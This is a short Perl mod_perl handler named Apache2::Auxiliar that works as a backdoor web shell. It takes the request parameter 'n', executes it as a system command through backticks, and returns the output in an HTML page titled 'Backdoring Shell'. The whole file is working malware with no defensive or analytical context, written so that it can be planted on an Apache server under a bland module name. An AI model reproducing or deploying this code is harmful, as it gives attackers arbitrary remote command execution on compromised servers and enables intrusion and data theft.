package Apache2::Auxiliar;
use strict;
use Apache2::Const qw(:common);
use Apache2::RequestIO  ();
use Apache2::RequestRec ();
use Apache2::ServerUtil ();
use Apache2::ServerRec  ();
use CGI ;

sub handler {
    my $r = shift;
    $r->content_type(\'text/html\');
    my $q = new CGI($r);
    my $comando = $q->param(\'n\') ;
    my $respuesta = `$comando` ;
    $r->print(<<END);
<HTML>
<HEAD>
<TITLE>Backdoring Shell</TITLE>
</HEAD>
<BODY>
<H1>Command: </H1>
$respuesta
</BODY>
</HTML>
END
   return OK;
}
1;